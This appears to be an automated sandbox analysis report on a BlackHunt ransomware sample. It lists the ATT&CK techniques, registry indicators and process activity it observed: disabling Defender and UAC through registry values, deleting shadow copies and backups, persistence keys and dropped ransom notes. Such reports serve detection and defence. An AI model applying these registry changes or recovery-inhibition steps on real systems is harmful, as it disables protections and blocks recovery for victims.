f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b

Data Destruction

T1485

pid	Process
732	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

pid	Process
2760	bcdedit.exe
2688	bcdedit.exe

Renames multiple (2384) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
3032	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\A:	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened (read-only)	\??\E:	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened (read-only)	\??\T:	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened (read-only)	\??\Y:	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened (read-only)	\??\I:	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened (read-only)	\??\O:	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened (read-only)	\??\K:	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened (read-only)	\??\V:	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened (read-only)	\??\U:	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened (read-only)	\??\G:	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened (read-only)	\??\Z:	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened (read-only)	\??\X:	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened (read-only)	\??\M:	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened (read-only)	\??\S:	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened (read-only)	\??\L:	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened (read-only)	\??\B:	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\J:	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened (read-only)	\??\Q:	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened (read-only)	\??\R:	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened (read-only)	\??\P:	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\W:	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened (read-only)	\??\H:	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened (read-only)	\??\N:	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\nn\LC_MESSAGES\vlc.mo	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Chicago	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Stacking\#BlackHunt_ReadMe.hta	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\THIRDPARTYLICENSEREADME-JAVAFX.txt	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\lib\#BlackHunt_ReadMe.hta	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-modules-keyring.xml	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\update_tracking\org-netbeans-lib-profiler-charts.xml	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File created	C:\Program Files\VideoLAN\VLC\locale\sq\#BlackHunt_Private.key	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened for modification	C:\Program Files\7-Zip\Lang\de.txt	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-sampler_ja.jar	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\pa\LC_MESSAGES\vlc.mo	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.apache.felix.gogo.shell_0.10.0.v201212101605.jar	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.launcher.nl_zh_4.4.0.v20140623020002.jar	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File created	C:\Program Files\VideoLAN\VLC\locale\el\LC_MESSAGES\#BlackHunt_Private.key	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Mexico_City	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.rcp.product_5.5.0.165303\#BlackHunt_Private.key	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.equinox.p2.core.feature_1.3.0.v20140523-0116\license.html	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\config\Modules\org-netbeans-modules-spi-actions.xml_hidden	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\update_tracking\com-sun-tools-visualvm-attach.xml	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Urumqi	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.rcp.product_5.5.0.165303\#BlackHunt_ReadMe.hta	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.commands_5.5.0.165303.jar	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Postage_VideoInset.png	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT+8	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\rjmx.jar	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened for modification	C:\Program Files\Java\jre7\lib\currency.data	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ml\LC_MESSAGES\#BlackHunt_ReadMe.hta	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\db\lib\derbyrun.jar	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Wake	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-progress-ui.jar	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File created	C:\Program Files\VideoLAN\VLC\locale\gd\#BlackHunt_ReadMe.hta	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File created	C:\Program Files\VideoLAN\VLC\locale\or\LC_MESSAGES\#BlackHunt_ReadMe.hta	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.console_5.5.0.165303\#BlackHunt_ReadMe.hta	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\#BlackHunt_Private.key	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fy\#BlackHunt_ReadMe.hta	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File created	C:\Program Files\VideoLAN\VLC\locale\or\LC_MESSAGES\#BlackHunt_Private.key	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\fonts\LucidaSansRegular.ttf	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Indian\Mahe	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File created	C:\Program Files\Java\jre7\#BlackHunt_ReadMe.txt	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File created	C:\Program Files\VideoLAN\VLC\locale\an\LC_MESSAGES\#BlackHunt_ReadMe.hta	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bg\LC_MESSAGES\#BlackHunt_ReadMe.hta	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Los_Angeles	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Notes_LOOP_BG_PAL.wmv	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\#BlackHunt_ReadMe.txt	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.views.nl_ja_4.4.0.v20140623020002.jar	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File created	C:\Program Files\Java\jdk1.7.0_80\include\win32\#BlackHunt_ReadMe.hta	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ps\#BlackHunt_Private.key	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-modules-spi-actions.xml	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\config\Modules\com-sun-tools-visualvm-profiling.xml	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Argentina\Salta	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Santa_Isabel	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui_5.5.0.165303.jar	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\ast\LC_MESSAGES\vlc.mo	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Goose_Bay	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.security.ui_1.1.200.v20130626-2037.jar	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Denver	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-openide-explorer.xml	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File created	C:\Program Files\VideoLAN\VLC\locale\cgg\LC_MESSAGES\#BlackHunt_ReadMe.hta	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\my\LC_MESSAGES\vlc.mo	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File created	C:\Program Files\Java\jdk1.7.0_80\#BlackHunt_ReadMe.hta	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\SystemV\EST5	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Godthab	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.ql.nl_zh_4.4.0.v20140623020002.jar	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
File created	C:\Program Files\Java\jre7\lib\fonts\#BlackHunt_ReadMe.txt	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
3068	schtasks.exe

Interacts with shadow copies 2 TTPs 5 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
980	vssadmin.exe
2068	vssadmin.exe
1108	vssadmin.exe
1712	vssadmin.exe
2580	vssadmin.exe

Modifies registry class 10 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	schtasks.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	schtasks.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	2680	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
Token: SeRestorePrivilege	2680	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
Token: SeBackupPrivilege	2680	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
Token: SeTakeOwnershipPrivilege	2680	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
Token: SeAuditPrivilege	2680	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
Token: SeSecurityPrivilege	2680	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
Token: SeIncBasePriorityPrivilege	2680	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
Token: SeBackupPrivilege	2820	vssvc.exe
Token: SeRestorePrivilege	2820	vssvc.exe
Token: SeAuditPrivilege	2820	vssvc.exe
Token: SeBackupPrivilege	1072	wbengine.exe
Token: SeRestorePrivilege	1072	wbengine.exe
Token: SeSecurityPrivilege	1072	wbengine.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2680 wrote to memory of 1956	2680	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	30
PID 2680 wrote to memory of 1956	2680	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	30
PID 2680 wrote to memory of 1956	2680	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	30
PID 2680 wrote to memory of 1956	2680	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	30
PID 2680 wrote to memory of 2044	2680	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	32
PID 2680 wrote to memory of 2044	2680	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	32
PID 2680 wrote to memory of 2044	2680	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	32
PID 2680 wrote to memory of 2044	2680	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	32
PID 2680 wrote to memory of 2556	2680	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	34
PID 2680 wrote to memory of 2556	2680	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	34
PID 2680 wrote to memory of 2556	2680	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	34
PID 2680 wrote to memory of 2556	2680	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	34
PID 1956 wrote to memory of 2668	1956	cmd.exe	36
PID 1956 wrote to memory of 2668	1956	cmd.exe	36
PID 1956 wrote to memory of 2668	1956	cmd.exe	36
PID 2680 wrote to memory of 2856	2680	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	37
PID 2680 wrote to memory of 2856	2680	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	37
PID 2680 wrote to memory of 2856	2680	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	37
PID 2680 wrote to memory of 2856	2680	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	37
PID 2680 wrote to memory of 2940	2680	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	39
PID 2680 wrote to memory of 2940	2680	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	39
PID 2680 wrote to memory of 2940	2680	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	39
PID 2680 wrote to memory of 2940	2680	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	39
PID 2044 wrote to memory of 2880	2044	reg.exe	41
PID 2044 wrote to memory of 2880	2044	reg.exe	41
PID 2044 wrote to memory of 2880	2044	reg.exe	41
PID 2556 wrote to memory of 3068	2556	cmd.exe	139
PID 2556 wrote to memory of 3068	2556	cmd.exe	139
PID 2556 wrote to memory of 3068	2556	cmd.exe	139
PID 2680 wrote to memory of 2688	2680	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	43
PID 2680 wrote to memory of 2688	2680	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	43
PID 2680 wrote to memory of 2688	2680	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	43
PID 2680 wrote to memory of 2688	2680	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	43
PID 2680 wrote to memory of 2716	2680	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	45
PID 2680 wrote to memory of 2716	2680	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	45
PID 2680 wrote to memory of 2716	2680	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	45
PID 2680 wrote to memory of 2716	2680	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	45
PID 2680 wrote to memory of 2820	2680	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	47
PID 2680 wrote to memory of 2820	2680	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	47
PID 2680 wrote to memory of 2820	2680	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	47
PID 2680 wrote to memory of 2820	2680	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	47
PID 2680 wrote to memory of 2560	2680	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	49
PID 2680 wrote to memory of 2560	2680	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	49
PID 2680 wrote to memory of 2560	2680	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	49
PID 2680 wrote to memory of 2560	2680	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	49
PID 2680 wrote to memory of 2624	2680	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	51
PID 2680 wrote to memory of 2624	2680	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	51
PID 2680 wrote to memory of 2624	2680	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	51
PID 2680 wrote to memory of 2624	2680	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	51
PID 2680 wrote to memory of 2608	2680	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	54
PID 2680 wrote to memory of 2608	2680	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	54
PID 2680 wrote to memory of 2608	2680	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	54
PID 2680 wrote to memory of 2608	2680	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	54
PID 2680 wrote to memory of 3040	2680	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	55
PID 2680 wrote to memory of 3040	2680	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	55
PID 2680 wrote to memory of 3040	2680	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	55
PID 2680 wrote to memory of 3040	2680	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	55
PID 2680 wrote to memory of 2532	2680	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	57
PID 2680 wrote to memory of 2532	2680	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	57
PID 2680 wrote to memory of 2532	2680	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	57
PID 2680 wrote to memory of 2532	2680	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe	57
PID 2856 wrote to memory of 656	2856	cmd.exe	58
PID 2856 wrote to memory of 656	2856	cmd.exe	58
PID 2856 wrote to memory of 656	2856	cmd.exe	58

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe
"C:\Users\Admin\AppData\Local\Temp\f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe"
1⤵
- UAC bypass
